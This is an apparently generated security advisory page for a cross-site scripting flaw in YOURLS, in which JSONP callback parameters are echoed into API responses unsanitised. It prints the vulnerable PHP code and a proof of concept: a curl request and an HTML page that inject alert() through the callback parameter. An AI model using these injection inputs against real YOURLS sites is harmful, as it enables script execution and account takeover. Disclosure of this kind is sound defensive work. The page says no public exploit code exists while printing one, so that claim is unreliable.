# GHSA-6mp4-q625-mxjp: YOURLS is vulnerable to XSS through JSONP and Callback request parameters

> Unauthenticated attackers can inject arbitrary JavaScript via JSONP callback parameters in public mode, leading to XSS and potential account takeover.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** A user has to click or open something
- **Fix available:** No
- **Published:** 30 Dec 2025

## What is GHSA-6mp4-q625-mxjp?

GHSA-6mp4-q625-mxjp is a cross-site scripting vulnerability in yourls/yourls, published on 30 Dec 2025. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.

### Official description

### Summary

The callback and **jsonp** request parameters are directly concatenated into the response without any sanitization that allowing attackers to inject arbitrary JS code. When **YOURLS_PRIVATE** is set to **false** (public API mode), this vulnerability can be exploited by any unauthenticated attacker. In private mode, the XSS payload is still injected into the 403 response body though browser execution is blocked.

### Details

Vulnerability exists in the JSONP callback handling chain:

```
yourls-api.php:127-128

if( isset( $_REQUEST['callback'] ) )
    $return['callback'] = $_REQUEST['callback'];
elseif ( isset( $_REQUEST['jsonp'] ) )
    $return['callback'] = $_REQUEST['jsonp']; 
```
---

```
includes/functions-api.php:127-128

$callback = isset( $output['callback'] ) ? $output['callback'] : '';
$result =  $callback . '(' . json_encode( $output ) . ')';
```

### PoC

I. YOURLS instance with YOURLS_PRIVATE set to false in config.php or user authenticated to a private YOURLS instance.

II. `curl "http://localhost:8080/yourls-api.php?action=version&format=jsonp&callback=alert(document.domain)//"
`
**Expected response:** `alert(document.domain)//({"version":"1.10.2","callback":"alert(document.domain)\/\/"})`

Browser PoC file:

```
<!DOCTYPE html>
<html>
<head><title>pwn</title></head>
<body>
<h1>pwn</h1>
<script src="http://localhost:8080/yourls-api.php?action=version&format=jsonp&callback=alert('pwn');//"></script>
</body>
</html>
```

### Impact

Public Mode (YOURLS_PRIVATE=false): Full exploitation, any unauthenticated user can trigger **XSS.**
Private Mode (YOURLS_PRIVATE=true): XSS payload is injected into 403 response body but browser blocks script execution. However, authenticated users or admins accessing malicious links are still vulnerable.

## Which versions are affected by GHSA-6mp4-q625-mxjp?

2 open source packages ship an affected version, including yourls/yourls.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `yourls/yourls` | Packagist | All versions to 1.10.2 | None |
| `yourls/yourls` | Packagist | All versions to 1.10.2 | None |

## How do I fix GHSA-6mp4-q625-mxjp?

No fix has been published for GHSA-6mp4-q625-mxjp yet. Limit exposure of the affected software until one is available.

## Is GHSA-6mp4-q625-mxjp being exploited?

There is no known exploitation of GHSA-6mp4-q625-mxjp in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-6mp4-q625-mxjp and fix it if it is affected.

What it is: GHSA-6mp4-q625-mxjp is a cross-site scripting vulnerability in yourls/yourls, published on 30 Dec 2025. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.
Exploitation: There is no known exploitation of GHSA-6mp4-q625-mxjp in the wild and no public exploit code.

Affected packages and fixed versions:
- yourls/yourls (Packagist): affected all versions up to 1.10.2; no fix listed
- yourls/yourls (Packagist): affected all versions up to 1.10.2; no fix listed

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-6mp4-q625-mxjp/ (Markdown: https://insights.sbomify.com/GHSA-6mp4-q625-mxjp/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-6mp4-q625-mxjp

---
From sbomify Insights: https://insights.sbomify.com/GHSA-6mp4-q625-mxjp/
Summaries are generated and may contain mistakes; the official description above is the record.
